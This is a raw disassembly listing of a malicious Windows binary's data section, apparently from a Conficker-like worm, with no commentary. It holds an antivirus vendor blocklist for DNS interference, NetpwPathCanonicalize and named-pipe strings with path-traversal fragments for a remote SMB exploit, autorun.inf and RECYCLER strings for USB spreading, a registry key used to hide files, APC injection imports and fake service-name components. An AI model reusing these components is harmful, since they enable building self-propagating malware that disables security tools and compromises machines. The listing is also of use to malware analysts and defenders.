db 36h, 2Dh, 0D0h
db 17h
db 36h, 2Dh, 0D0h
db 8
db 36h, 2Dh, 0D0h
db 0Fh
db 36h, 2Dh, 0D0h
db 0
db 1Fh, 49h, 0CEh
db 0FFh
db 1Fh, 49h, 0CEh
db 80h ; €
db 32h, 0A1h, 3Fh
db 0FFh
db 32h, 0A1h, 3Fh
db 0
db 32h, 0A1h, 3Fh
db 7Fh ;
db 32h, 0A1h, 3Fh
db 0E0h ; à
db 8, 0F0h, 0CFh
dword_9A345C dd 0CFF008EFh, 9D360000h, 9D3CFFFFh, 0D02D59F8h, 0D02D59FFh
dd 0CEB64500h, 0CEB645FFh, 0CEB6F000h, 0CEB6F0FFh, 0CEB6F100h
dd 0CEB6F1FFh, 0CE494300h, 0CE4943FFh, 0CEB6FB00h, 0CEB6FBFFh
dd 0CEB6F700h, 0CEB6F7FFh, 0CEB6EC00h, 0CEB6ECFFh, 3FECC640h
dd 3FECC647h, 3FECC698h, 3FECC69Fh, 0A579FDE8h, 0A579FDEFh
dd 3FECAA40h, 3FECAA47h, 3FECBA40h, 3FECBA47h, 3FECBB68h
dd 3FECBB6Fh, 3FECBB80h, 3FECBB87h, 3FECBBA0h, 3FECBBA7h
dd 0C7028900h, 0C70289FFh, 0D8DE68E0h, 0D8DE68EFh, 3F975740h
dd 3F975747h, 404D5260h, 404D5267h, 404D5D50h, 404D5D5Fh
dd 41340000h, 4137FFFFh, 0CF2E0000h, 0CF2EFFFFh, 836B0000h
dd 836BFFFFh, 0CF448000h, 0CF44CFFFh, 0CCB69000h, 0CCB69FFFh
dd 0CE6B2200h, 0CE6B22FFh, 0CDF09E00h, 0CDF09FFFh, 0CC4FFC00h
dd 0CC4FFCFFh, 40C8D310h, 40C8D31Fh, 0CB2A300h, 0CB2A31Fh
dd 452C7E50h, 452C7E5Fh, 3FAD2A80h, 3FAD2AFFh, 0C1C6C00h
dd 0C1C6C7Fh, 41AA1D00h, 41AA1D07h, 43848560h, 43848567h
dd 806B000h, 806B0FFh, 0CDF85000h, 0CDF881FFh, 3F947BF0h
dd 3F947BF7h, 4029C100h, 4029C1FFh, 40554620h, 4055462Fh
dd 40555160h, 40555167h, 40555168h, 4055516Fh, 0D820A8E0h
dd 0D820A8FFh, 0CE4F4A20h, 0CE4F4A2Fh, 0D820AFE0h, 0D820AFFFh
dd 0D820B400h, 0D820B7FFh, 0D821E5E0h, 0D821E5FFh, 0D821EC00h
dd 0D821EFFFh, 0D821F000h, 0D821F3FFh, 0D820F000h, 0D820F3FFh
dd 0D8223300h, 0D82233FFh, 0D1017000h, 0D10170FFh, 0D1017100h
dd 0D10171FFh, 0D1010F00h, 0D1010FFFh, 0D82235B0h, 0D82235BFh
dd 0D82308E0h, 0D82308EFh, 0D1B98000h, 0D1B983FFh, 4172AF80h
dd 4172AF9Fh, 400FE560h, 400FE57Fh, 400FB100h, 400FB1FFh
dd 400FAAC0h, 400FAAC7h, 0D18FEE00h, 0D18FEEFFh, 400FB200h
dd 400FB2FFh, 4223D178h, 4223D17Fh, 4223D380h, 4223D3BFh
dd 4223D030h, 4223D03Fh, 0D8219400h, 0D82197FFh, 0D8234258h
dd 0D823425Fh, 0CE620A0h, 0CE620A7h, 0C357C00h, 0C357C1Fh
dd 0CE81260h, 0CE8127Fh, 0CBE9E00h, 0CBE9EFFh, 0C47C420h
dd 0C47C42Fh, 0D1F0C000h, 0D1F0DFFFh, 46250000h, 4625BFFFh
dd 0C3157C0h, 0C3157FFh, 4A5DCD90h, 4A5DCD97h, 4A5DCD98h
dd 4A5DCD9Fh, 4A5DCE40h, 4A5DCE47h, 46598B78h, 46598B7Fh
dd 0CE477700h, 0CE4777FFh, 0CE477500h, 0CE4775FFh, 0CE477600h
dd 0CE4776FFh, 0D19A9B70h, 0D19A9B77h, 41443E98h, 41443E9Fh
dd 4327D0A8h, 4327D0AFh, 41F24300h, 41F243FFh, 0CC47BF00h
dd 0CC47BFFFh, 3FC29B90h, 3FC29B97h, 428855C0h, 428855C7h
dd 407CB848h, 407CB84Fh, 0D8C8CE00h, 0D8C8CEFFh, 3F505D00h
dd 3F505D7Fh, 43C0E1D0h, 43C0E1DFh, 454AA200h, 454AA2FFh
dd 41DD0500h, 41DD05FFh, 4A5DCD90h, 4A5DCD97h, 4A5DCD98h
dd 4A5DCD9Fh, 4A5DCE40h, 4A5DCE47h, 46598B78h, 46598B7Fh
dd 41F85500h, 41F855FFh, 0C7F39DC0h, 0C7F39DDFh, 0C7F39D70h
dd 0C7F39D77h, 41C2D2E0h, 41C2D2FFh, 0D0C28B00h, 0D0C28BFFh
dd 0D0CC3180h, 0D0CC31FFh, 0D0CD1A00h, 0D0CD1AFFh, 0D0D9B800h
dd 0D0D9BBFFh, 0D0DEAC00h, 0D0DEACFFh, 0D0E0C840h, 0D0E0C85Fh
dd 0D0E56400h, 0D0E565FFh, 0D0F11300h, 0D0F1130Fh, 0D0F11310h
dd 0D0F1131Fh, 0D0F109E0h, 0D0F109EFh, 0D0F46C00h, 0D0F46C0Fh
dd 0D0F51000h, 0D0F5101Fh, 0D0F911A0h, 0D0F911AFh, 3F68D800h
dd 3F68D87Fh, 3F45F500h, 3F45F5FFh, 445A8D48h, 445A8D4Fh
dd 3FC67BA0h, 3FC67BA7h, 44F83040h, 44F83047h, 44F83048h
dd 44F8304Fh, 633108F8h, 633108FFh, 4126AC48h, 4126AC4Fh
dd 4126AC60h, 4126AC6Fh, 4B95AE10h, 4B95AE17h, 4B9764F0h
dd 4B9764FFh, 40510860h, 4051087Fh, 4370FF90h, 4370FF97h
dd 3FF0C9B0h, 3FF0C9BFh, 0CE10D1D0h, 0CE10D1DFh, 3FF0C3D0h
dd 3FF0C3DFh, 0CE10CC40h, 0CE10CC4Fh, 0CE10DF00h, 0CE10DFFFh
dd 3FF0D800h, 3FF0DBFFh, 3FF0DC00h, 3FF0DFFFh, 0CE10F618h
dd 0CE10F61Fh, 3FF0C3C0h, 3FF0C3CFh, 0CE10E0A0h, 0CE10E0BFh
dd 43C02730h, 43C0273Fh, 4820F0A0h, 4820F0AFh, 4820C998h
dd 4820C99Fh, 43275198h, 4327519Fh, 45147F20h, 45147F27h
dd 0D8341C00h, 0D8341CFFh, 462AE600h, 462AE7FFh, 3FFB6100h
dd 3FFB61FFh, 43788480h, 43788487h, 43788498h, 4378849Fh
dd 437884C0h, 437884CFh, 437884D0h, 437884DFh, 447B4F40h
dd 447B4F4Fh, 447B4F30h, 447B4F37h, 447B4F50h, 447B4F5Fh
dd 43762BE0h, 43762BE7h, 45E5D0E0h, 45E5D0E7h, 427A55C8h
dd 427A55CFh, 3FC91248h, 3FC9124Fh, 4B27F490h, 4B27F497h
dd 4B2071B8h, 4B2071BFh, 41DFC400h, 41DFC4FFh, 0D1F90B00h
dd 0D1F90B0Fh, 43C0DEC0h, 43C0DECFh, 407C4410h, 407C441Fh
dd 43C0A850h, 43C0A85Fh, 57EE3080h, 57EE308Fh, 42232000h
dd 42233FFFh, 42232D00h, 42232DFFh, 0C72BB900h, 0C72BC2FFh
dd 0C7557D00h, 0C7557FFFh, 0C6062000h, 0C6063FFFh, 0CCB26EE0h
dd 0CCB26EFFh, 0D80AC000h, 0D80ACFFFh, 41796D00h, 41796DFFh
dd 417D1D00h, 417D1D7Fh, 9B400000h, 9B40FFFFh, 0CECC0AC0h
dd 0CECC0ADFh, 0D8FA1000h, 0D8FA1FFFh, 0D82389A0h, 0D82389BFh
dd 0D8238980h, 0D823898Fh, 0D82389C0h, 0D82389FFh, 0C9B3AB0h
dd 0C9B3ABFh, 0D15A70B0h, 0D15A70BFh, 427F41B8h, 427F41BFh
dd 41431FB0h, 41431FB7h, 43625C00h, 43625CFFh, 4362DF00h
dd 4362DFFFh, 4158B200h, 4158B2FFh, 43634B00h, 43634BFFh
dd 43636900h, 4363691Fh, 41D3F300h, 41D3F37Fh, 4362E200h
dd 4362E2FFh, 0D88E0C00h, 0D88E0C1Fh, 41587E00h, 41587E1Fh
dd 415B9F60h, 415B9F7Fh, 415A2960h, 415A297Fh, 0CC109B20h
dd 0CC109B3Fh, 0D1BEE510h, 0D1BEE51Fh, 0D1B7EB90h, 0D1B7EB9Fh
dd 0D1B7F320h, 0D1B7F32Fh, 0D1B7C20Ch, 0D1B7C20Fh, 4799EF00h
dd 4799EF07h, 4B0AF2A8h, 4B0AF2AFh, 4B362FB0h, 4B362FB7h
dd 40AB7D80h, 40AB7D87h, 0D0C27400h, 0D0C274FFh, 0D0C29800h
dd 0D0C298FFh, 0D0D5F200h, 0D0D5F2FFh, 4B0A4040h, 4B0A405Fh
dd 41DEC000h, 41DEC0FFh, 628177A0h, 628177A7h, 424D8200h
dd 424D8207h, 0D556AC80h, 0D556AC9Fh, 0D5F40A40h, 0D5F40A4Fh
dd 48ECA780h, 48ECA79Fh, 403AB000h, 403AB0FFh, 0CAB9A90h
dd 0CAB9A97h, 0D86F6C60h, 0D86F6C7Fh, 0CDA85560h, 0CDA8557Fh
dd 3F97E940h, 3F97E95Fh, 3F95E4A0h, 3F95E4BFh, 3F95EE40h
dd 3F95EE5Fh, 3F91F420h, 3F91F43Fh, 417AF100h, 417AF11Fh
dd 42B45000h, 42B45FFFh, 0D8638000h, 0D8638FFFh, 0D8680000h
dd 0D8681FFFh, 447EF7F8h, 447EF7FFh, 43420C80h, 43420C87h
dd 40511080h, 4051109Fh, 9BD4F140h, 9BD4F147h, 9BD4E5C0h
dd 9BD4E5DFh, 0D8291B08h, 0D8291B0Fh, 4AD38940h, 4AD3895Fh
dd 4AD388A0h, 4AD388A7h, 4569B538h, 4569B53Fh, 428C29C0h
dd 428C29C7h, 478A70C0h, 478A70DFh, 3FCBCA08h, 3FCBCA0Fh
dd 45E20470h, 45E2047Fh, 4B0BFB80h, 4B0BFB9Fh, 4CE34298h
dd 4CE3429Fh, 4CF9A800h, 4CF9A807h, 63929FC0h, 63929FC7h
dd 43729888h, 4372988Fh, 41D09D10h, 41D09D1Fh, 41D6AC00h
dd 41D6ACFFh, 437F4D00h, 437F4D0Fh, 74726563h, 2Eh, 736E6173h
dd 2Eh, 39746962h, 2Eh, 2E746576h, 0
dword_9A3C58 dd 2E677661h, 0 ; DATA XREF: .text:009B94D4o
dword_9A3C60 dd 2E707661h, 0 ; DATA XREF: .text:009B94D0o
dword_9A3C68 dd 2E6163h ; DATA XREF: .text:009B94CCo
dword_9A3C6C dd 2E69616Eh, 0 ; DATA XREF: .text:off_9B94C8o
aWindowsupdate db 'windowsupdate',0 ; DATA XREF: .text:009B94C4o
align 4
aWilderssecurit db 'wilderssecurity',0 ; DATA XREF: .text:009B94C0o
aThreatexpert db 'threatexpert',0 ; DATA XREF: .text:009B94BCo
align 4
aCastlecops db 'castlecops',0 ; DATA XREF: .text:009B94B8o
align 10h
aSpamhaus db 'spamhaus',0 ; DATA XREF: .text:009B94B4o
align 4
aCpsecure db 'cpsecure',0 ; DATA XREF: .text:009B94B0o
align 4
aArcabit db 'arcabit',0 ; DATA XREF: .text:009B94ACo
aEmsisoft db 'emsisoft',0 ; DATA XREF: .text:009B94A8o
align 4
aSunbelt db 'sunbelt',0 ; DATA XREF: .text:009B94A4o
aSecurecomputin db 'securecomputing',0 ; DATA XREF: .text:009B94A0o
aRising db 'rising',0 ; DATA XREF: .text:009B949Co
align 4
aPrevx db 'prevx',0 ; DATA XREF: .text:009B9498o
align 4
aPctools db 'pctools',0 ; DATA XREF: .text:009B9494o
aNorman db 'norman',0 ; DATA XREF: .text:009B9490o
align 4
aK7computing db 'k7computing',0 ; DATA XREF: .text:009B948Co
aIkarus db 'ikarus',0 ; DATA XREF: .text:009B9488o
align 4
aHauri db 'hauri',0 ; DATA XREF: .text:009B9484o
align 10h
aHacksoft db 'hacksoft',0 ; DATA XREF: .text:009B9480o
align 4
aGdata db 'gdata',0 ; DATA XREF: .text:009B947Co
align 4
aFortinet db 'fortinet',0 ; DATA XREF: .text:009B9478o
align 10h
aEwido db 'ewido',0 ; DATA XREF: .text:009B9474o
align 4
aClamav db 'clamav',0 ; DATA XREF: .text:009B9470o
align 10h
aComodo db 'comodo',0 ; DATA XREF: .text:009B946Co
align 4
aQuickheal db 'quickheal',0 ; DATA XREF: .text:009B9468o
align 4
aAvira db 'avira',0 ; DATA XREF: .text:009B9464o
align 4
aAvast db 'avast',0 ; DATA XREF: .text:009B9460o
align 4
aEsafe db 'esafe',0 ; DATA XREF: .text:009B945Co
align 4
aAhnlab db 'ahnlab',0 ; DATA XREF: .text:009B9458o
align 4
aCentralcommand db 'centralcommand',0 ; DATA XREF: .text:009B9454o
align 4
aDrweb db 'drweb',0 ; DATA XREF: .text:009B9450o
align 4
aGrisoft db 'grisoft',0 ; DATA XREF: .text:009B944Co
aEset db 'eset',0 ; DATA XREF: .text:009B9448o
align 4
aNod32 db 'nod32',0 ; DATA XREF: .text:009B9444o
align 4
aFProt db 'f-prot',0 ; DATA XREF: .text:009B9440o
align 4
aJotti db 'jotti',0 ; DATA XREF: .text:009B943Co
align 4
aKaspersky db 'kaspersky',0 ; DATA XREF: .text:009B9438o
align 10h
aFSecure db 'f-secure',0 ; DATA XREF: .text:009B9434o
align 4
aComputerassoci db 'computerassociates',0 ; DATA XREF: .text:009B9430o
align 10h
aNetworkassocia db 'networkassociates',0 ; DATA XREF: .text:009B942Co
align 4
aEtrust db 'etrust',0 ; DATA XREF: .text:009B9428o
align 4
aPanda db 'panda',0 ; DATA XREF: .text:009B9424o
align 4
aSophos db 'sophos',0 ; DATA XREF: .text:009B9420o
align 4
aTrendmicro db 'trendmicro',0 ; DATA XREF: .text:009B941Co
align 4
aMcafee db 'mcafee',0 ; DATA XREF: .text:009B9418o
align 10h
aNorton db 'norton',0 ; DATA XREF: .text:009B9414o
align 4
aSymantec db 'symantec',0 ; DATA XREF: .text:009B9410o
align 4
aMicrosoft db 'microsoft',0 ; DATA XREF: .text:009B940Co
align 10h
aDefender db 'defender',0 ; DATA XREF: .text:009B9408o
align 4
aRootkit db 'rootkit',0 ; DATA XREF: .text:009B9404o
aMalware db 'malware',0 ; DATA XREF: .text:009B9400o
aSpyware db 'spyware',0 ; DATA XREF: .text:009B93FCo
aVirus db 'virus',0 ; DATA XREF: .text:off_9B93F8o
align 4
; IID stru_9A3E8C
stru_9A3E8C dd 304CE942h ; Data1 ; DATA XREF: sub_9A8DF5+1Eo
dw 6E39h ; Data2
dw 40D8h ; Data3
db 94h, 3Ah, 0B9h, 13h, 0C4h, 0Ch, 9Ch, 0D4h; Data4
; IID stru_9A3E9C
stru_9A3E9C dd 0F7898AF5h ; Data1 ; DATA XREF: sub_9A8DF5+15o
dw 0CAC4h ; Data2
dw 4632h ; Data3
db 0A2h, 0ECh, 0DAh, 6, 0E5h, 11h, 1Ah, 0F2h; Data4
; IID stru_9A3EAC
stru_9A3EAC dd 0CA545C6h ; Data1 ; DATA XREF: sub_9A8EDE+72o
dw 37ADh ; Data2
dw 4A6Ch ; Data3
db 0BFh, 92h, 9Fh, 76h, 10h, 6, 7Eh, 0F5h; Data4
; IID stru_9A3EBC
stru_9A3EBC dd 0E0483BA0h ; Data1 ; DATA XREF: sub_9A8EDE+6Ao
dw 47FFh ; Data2
dw 4D9Ch ; Data3
db 0A6h, 0D6h, 77h, 41h, 0D0h, 0B1h, 95h, 0F7h; Data4
; char a08x08x[]
a08x08x db '%08x%08x',0 ; DATA XREF: sub_9A9072+74o
align 4
stru_9A3ED8 _msEH <0FFFFFFFFh, offset loc_9A9185, offset loc_9A9189>
; DATA XREF: sub_9A90FF+2o
; char aTcp[]
aTcp db 'TCP',0 ; DATA XREF: sub_9A9199+A6o
; sub_9A932E+90o
; char aD[]
aD db '%d',0 ; DATA XREF: sub_9A9199+1Co
; sub_9B5214+11Fo ...
align 10h
stru_9A3EF0 _msEH <0FFFFFFFFh, offset loc_9A9278, offset loc_9A927C>
; DATA XREF: sub_9A9199+5o
align 10h
stru_9A3F00 _msEH <0FFFFFFFFh, offset loc_9A931A, offset loc_9A931E>
; DATA XREF: sub_9A9289+5o
; char aU[]
aU db '%u',0 ; DATA XREF: sub_9A932E+2Ao
; sub_9A932E+A3o ...
align 10h
stru_9A3F10 _msEH <0FFFFFFFFh, offset loc_9A945D, offset loc_9A9461>
; DATA XREF: sub_9A932E+5o
aHttpWww_getmyi db 'http://www.getmyip.org',0 ; DATA XREF: .text:009B94F4o
align 4
aHttpWww_whatsm db 'http://www.whatsmyipaddress.com',0 ; DATA XREF: .text:009B94F0o
aHttpWww_whatis db 'http://www.whatismyip.org',0 ; DATA XREF: .text:009B94ECo
align 10h
aHttpCheckip_dy db 'http://checkip.dyndns.org',0 ; DATA XREF: .text:off_9B94E8o
align 4
; char SubStr[]
SubStr db 'ip address',0 ; DATA XREF: sub_9A9471+7Eo
align 4
stru_9A3F98 _msEH <0FFFFFFFFh, offset loc_9A956C, offset loc_9A9570>
; DATA XREF: sub_9A9471+2o
align 8
stru_9A3FA8 _msEH <0FFFFFFFFh, offset loc_9A961C, offset loc_9A9620>
; DATA XREF: sub_9A9580+2o
; char aHttpD_D_D_DDS[]
aHttpD_D_D_DDS db 'http://%d.%d.%d.%d:%d/%s',0 ; DATA XREF: sub_9A9654+2Ao
; sub_9AECA4+3Bo
align 10h
; char aSIpc_0[]
aSIpc_0 db '\\%s\IPC$',0 ; DATA XREF: sub_9A9744+12o
; sub_9A9BBC+12Eo
align 4
aAaa: ; DATA XREF: sub_9A97A7+55o
unicode 0, <AAA>,0
aS_0 db 'S',0 ; DATA XREF: sub_9A97A7+50o
aVivivivi db 'V‰V‰V‰V‰',0
align 10h
aM db 'M',0 ; DATA XREF: sub_9A97A7+4Bo
aVivi db 'V‰V‰',0
align 4
; unsigned __int8 ProtSeq
ProtSeq db 'ncacn_np',0 ; DATA XREF: sub_9A97A7+1Fo
; sub_9A983B+22o
align 8
stru_9A4008 _msEH <0FFFFFFFFh, offset loc_9A9812, offset loc_9A9820>
; DATA XREF: sub_9A97A7+2o
; unsigned __int8 Endpoint
Endpoint dd 7069705Ch, 72735C65h, 63767376h, 0 ; DATA XREF: sub_9A9BBC+98o
aHhdhh: ; DATA XREF: sub_9A983B+7Do
unicode 0, <HHDHH>,0
asc_9A4030: ; DATA XREF: sub_9A983B+69o
; sub_9A98F7+B7o
unicode 0, <\>,0
align 8
stru_9A4038 _msEH <0FFFFFFFFh, offset loc_9A98CE, offset loc_9A98DC>
; DATA XREF: sub_9A983B+5o
; unsigned __int8 dword_9A4044
dword_9A4044 dd 7069705Ch, 72625C65h, 6573776Fh, 72h ; DATA XREF: sub_9A98F7+25Co
dword_9A4054 dd 0B6244A92h, 37F50397h, 0 ; DATA XREF: sub_9A98F7+234o
a____: ; DATA XREF: sub_9A98F7+10Do
unicode 0, <\..\..\>,0
; char aD_D_D_D[]
aD_D_D_D db '\\%d.%d.%d.%d',0 ; DATA XREF: sub_9A98F7+21o
align 10h
; char aD_D_D_D_0[]
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_9A9BBC+2Do
; wchar_t a__
a__: ; DATA XREF: sub_9A9D17+1Do
unicode 0, <\..\>,0
align 4
stru_9A4098 _msEH <0FFFFFFFFh, offset loc_9A9D5E, offset loc_9A9D62>
; DATA XREF: sub_9A9D17+2o
align 8
stru_9A40A8 _msEH <0FFFFFFFFh, offset loc_9A9DC1, offset loc_9A9DC5>
; DATA XREF: sub_9A9DA5+2o
align 8
stru_9A40B8 _msEH <0FFFFFFFFh, offset loc_9A9E49, offset loc_9A9E4D>
; DATA XREF: sub_9A9E22+2o
align 8
stru_9A40C8 _msEH <0FFFFFFFFh, offset loc_9A9F04, offset loc_9A9F08>
; DATA XREF: sub_9A9E95+5o
align 8
stru_9A40D8 _msEH <0FFFFFFFFh, offset loc_9A9F9A, offset loc_9A9F9E>
; DATA XREF: sub_9A9F50+5o
align 8
stru_9A40E8 _msEH <0FFFFFFFFh, offset loc_9AA039, offset loc_9AA03D>
; DATA XREF: sub_9A9FE6+5o
align 8
stru_9A40F8 _msEH <0FFFFFFFFh, offset loc_9AA121, offset loc_9AA125>
; DATA XREF: sub_9AA082+5o
align 8
stru_9A4108 _msEH <0FFFFFFFFh, 0, offset nullsub_1> ; DATA XREF: sub_9AA135+2o
align 8
stru_9A4118 _msEH <0FFFFFFFFh, offset loc_9AA28A, offset loc_9AA28E>
; DATA XREF: sub_9AA1CD+5o
align 8
stru_9A4128 _msEH <0FFFFFFFFh, offset loc_9AA3ED, offset loc_9AA3F1>
; DATA XREF: sub_9AA2CE+2o
; char dword_9A4134[]
dword_9A4134 dd 6174656Eh, 32336970h, 6C6C642Eh, 0 ; DATA XREF: sub_9AA482+Fo
; char aNetpwpathcanon[]
aNetpwpathcanon db 'NetpwPathCanonicalize',0 ; DATA XREF: sub_9AA482+Ao
align 4
; char aNtdll_dll[]
aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_9AA49F+Fo
; sub_9ABCA4+B8o ...
align 4
; char aNtqueryinforma[]
aNtqueryinforma db 'NtQueryInformationProcess',0 ; DATA XREF: sub_9AA49F+Ao
; sub_9ABECA+8o ...
align 4
; char aQuery_main[]
aQuery_main db 'Query_Main',0 ; DATA XREF: sub_9AA4BC+56o
align 10h
; char aDnsquery_w[]
aDnsquery_w db 'DnsQuery_W',0 ; DATA XREF: sub_9AA4BC+3Fo
align 4
; char aDnsquery_utf8[]
aDnsquery_utf8 db 'DnsQuery_UTF8',0 ; DATA XREF: sub_9AA4BC+28o
align 4
; char aDnsapi_dll[]
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_9AA4BC+13o
align 4
; char aDnsquery_a[]
aDnsquery_a db 'DnsQuery_A',0 ; DATA XREF: sub_9AA4BC+Eo
align 4
; char aWs2_32_dll[]
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_9AA53A+24o
align 10h
; char aSendto[]
aSendto db 'sendto',0 ; DATA XREF: sub_9AA53A+1Fo
align 4
; char ModuleName[]
ModuleName db 'dnsrslvr.dll',0 ; DATA XREF: sub_9AA53Ao
align 4
; const WCHAR aSvchost_exeKNe
aSvchost_exeKNe: ; DATA XREF: sub_9AA56C:loc_9AA56Fo
unicode 0, <svchost.exe -k NetworkService>,0
; char asc_9A4224[]
asc_9A4224 db ' ',0 ; DATA XREF: sub_9AA5D4:loc_9AA5E7o
; sub_9AA6DB:loc_9AA716o
align 4
; char asc_9A4228[]
asc_9A4228 db 0Dh,0Ah,0 ; DATA XREF: sub_9AA640:loc_9AA665o
; sub_9AE6A2+189o
align 4
asc_9A422C: ; DATA XREF: sub_9AA640:loc_9AA65Eo
dw 0Dh
unicode 0, <>,0
asc_9A4230: ; DATA XREF: sub_9AA640+17o
dw 0Ah
unicode 0, <>,0
; char asc_9A4234[]
asc_9A4234 db ';',0 ; DATA XREF: sub_9AA6DB:loc_9AA728o
align 4
; char asc_9A4238[]
asc_9A4238 db '=',0 ; DATA XREF: sub_9AA7AA+7Co
; sub_9AA85A+154o
align 4
; char asc_9A423C[]
asc_9A423C db ']',0 ; DATA XREF: sub_9AA7AA+3Ao
; sub_9AA85A+93o
align 10h
asc_9A4240: ; DATA XREF: sub_9AA7AA+Ao
; sub_9AA85A+6Co
unicode 0, <[>,0
a4_0 db ',4',0 ; DATA XREF: sub_9AA85A+1B4o
align 4
aSystem32Shell3 db '\system32\shell32.dll',0 ; DATA XREF: sub_9AA85A+1A4o
align 10h
aWindir db '%windir%',0 ; DATA XREF: sub_9AA85A+198o
align 4
aSystemroot db '%systemroot%',0 ; DATA XREF: sub_9AA85A+191o
align 4
aAutorun db 'autorun',0 ; DATA XREF: sub_9AA85A+80o
aUseautoplay1 db 'useautoplay=1',0 ; DATA XREF: sub_9AA85A+3Ao
align 4
; char aIcon[]
aIcon db 'icon',0 ; DATA XREF: sub_9AA85A+1Eo
; sub_9AA85A:loc_9AA9D3o
align 4
; char aAction[]
aAction db 'action',0 ; DATA XREF: sub_9AA85A+16o
; sub_9AA85A:loc_9AAA15o
align 4
aOpen db 'open',0 ; DATA XREF: sub_9AA85A+11o
align 4
aShellexecute db 'shellexecute',0 ; DATA XREF: sub_9AA85A+7o
align 4
aRundll32 db 'rundll32',0 ; DATA XREF: sub_9AAAA0+41o
align 4
stru_9A42C8 _msEH <0FFFFFFFFh, offset loc_9AAB77, offset loc_9AAB7B>
; DATA XREF: sub_9AAAA0+2o
; char a_SSS_SS[]
a_SSS_SS db '.\%s\%s\%s.%s,%s',0 ; DATA XREF: sub_9AABA4+3D8o
align 4
; char aSautorun_inf[]
aSautorun_inf db '%sautorun.inf',0 ; DATA XREF: sub_9AABA4+345o
align 4
; char aSS_1[]
aSS_1 db '%s\%s',0 ; DATA XREF: sub_9AABA4+27Co
align 10h
; char aSS_0[]
aSS_0 db '%s%s',0 ; DATA XREF: sub_9AABA4+21Do
align 4
; char aSSSS_S[]
aSSSS_S db '%s%s\%s\%s.%s',0 ; DATA XREF: sub_9AABA4+1B9o
align 4
; char aSDDDDDDDDDDDDD[]
aSDDDDDDDDDDDDD db 'S-%d-%d-%d-%d%d%d-%d%d%d-%d%d%d-%d',0 ; DATA XREF: sub_9AABA4+13Eo
align 4
; char aRecycler[]
aRecycler db 'RECYCLER',0 ; DATA XREF: sub_9AABA4+B1o
align 4
; char aDll_0[]
aDll_0 db 'dll',0 ; DATA XREF: sub_9AABA4+86o
align 10h
stru_9A4350 _msEH <0FFFFFFFFh, offset loc_9AAFAF, offset loc_9AAFB3>
; DATA XREF: sub_9AABA4+5o
; char aExplorerS[]
aExplorerS db 'explorer %s',0 ; DATA XREF: sub_9AB1F2+A2o
; char a__0[]
a__0 db '.',0 ; DATA XREF: sub_9AB1F2+8Eo
align 10h
; char aSoftwareMicr_0[]
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folde'
; DATA XREF: sub_9AB1F2+14o
db 'r\Hidden\SHOWALL',0
align 4
; char aCheckedvalue[]
aCheckedvalue db 'CheckedValue',0 ; DATA XREF: sub_9AB1F2+Fo
align 4
; char aOpenFolderToVi[]
aOpenFolderToVi db 'Open folder to view files',0 ; DATA XREF: sub_9AB2C3:loc_9AB301o
align 10h
; char aShell32_dll[]
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_9AB2C3+7o
; char aKernel32_dll[]
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_9AB6A9+18o
; sub_9ABCA4+5Ao ...
align 4
; char aThread08xStatu[]
aThread08xStatu db 'thread: %08x, status: %08x',0Ah,0 ; DATA XREF: sub_9ABCA4+148o
; char aLoadlibraryexa[]
aLoadlibraryexa db 'LoadLibraryExA',0 ; DATA XREF: sub_9ABCA4+CDo
align 4
; char aNtqueueapcthre[]
aNtqueueapcthre db 'NtQueueApcThread',0 ; DATA XREF: sub_9ABCA4:loc_9ABD57o
align 4
; char ProcName[]
ProcName db 'LoadLibraryA',0 ; DATA XREF: sub_9ABCA4+55o
align 4
; char aNtsetinformati[]
aNtsetinformati db 'NtSetInformationProcess',0 ; DATA XREF: sub_9ABFFB+24o
align 8
stru_9A4478 _msEH <0FFFFFFFFh, offset loc_9AC24C, offset loc_9AC250>
; DATA XREF: sub_9AC163+2o
dd 7073796Dh, 2E656361h, 6D6F63h ; DATA XREF: .text:009B9AC4o
dd 2E6E736Dh, 6D6F63h ; DATA XREF: .text:009B9AC0o
; .text:009B9D34o
dd 79616265h, 6D6F632Eh, 0 ; DATA XREF: .text:009B9ABCo
dword_9A44A4 dd 2E6E6E63h, 6D6F63h ; DATA XREF: .text:009B9AB8o
dword_9A44AC dd 2E6C6F61h, 6D6F63h ; DATA XREF: .text:off_9B9AB4o
; char aHttpWww_S[]
aHttpWww_S db 'http://www.%s',0 ; DATA XREF: sub_9AC476+20o
; sub_9ADB52+2Co
align 8
stru_9A44C8 _msEH <0FFFFFFFFh, offset loc_9AC6DE, offset loc_9AC6E2>
; DATA XREF: sub_9AC5BB+2o
align 8
stru_9A44D8 _msEH <0FFFFFFFFh, offset loc_9AC8DF, offset loc_9AC8E3>
; DATA XREF: sub_9AC789+2o
; char aN08x08x08x[]
aN08x08x08x db 'n%08x%08x%08x',0 ; DATA XREF: sub_9AC911+A2o
align 4
; char aW08x08x08x[]
aW08x08x08x db 'w%08x%08x%08x',0 ; DATA XREF: sub_9ACABE+310o
; sub_9ACABE+4B3o
align 4
; char aL08x08x08x[]
aL08x08x08x db 'l%08x%08x%08x',0 ; DATA XREF: sub_9ACABE+9Co
; sub_9ACABE+433o
align 4
aWindows_0: ; DATA XREF: .text:009B9B18o
unicode 0, <Windows>,0
aUpdate: ; DATA XREF: .text:009B9B14o
unicode 0, <Update>,0
align 4
aUniversal: ; DATA XREF: .text:009B9B10o
unicode 0, <Universal>,0
aTime: ; DATA XREF: .text:009B9B0Co
unicode 0, <Time>,0
align 4
aTask: ; DATA XREF: .text:009B9B08o
unicode 0, <Task>,0
align 10h
aSystem_0: ; DATA XREF: .text:009B9B04o
unicode 0, <System>,0
align 10h
aSupport: ; DATA XREF: .text:009B9B00o
unicode 0, <Support>,0
aShell: ; DATA XREF: .text:009B9AFCo
unicode 0, <Shell>,0
aServer_0: ; DATA XREF: .text:009B9AF8o
unicode 0, <Server>,0
align 4
aSecurity_0: ; DATA XREF: .text:009B9AF4o
unicode 0, <Security>,0
align 10h
aNetwork: ; DATA XREF: .text:009B9AF0o
unicode 0, <Network>,0
aMonitor_0: ; DATA XREF: .text:009B9AECo
unicode 0, <Monitor>,0
aMicrosoft_0: ; DATA XREF: .text:009B9AE8o
unicode 0, <Microsoft>,0
aManager_0: ; DATA XREF: .text:009B9AE4o
unicode 0, <Manager>,0
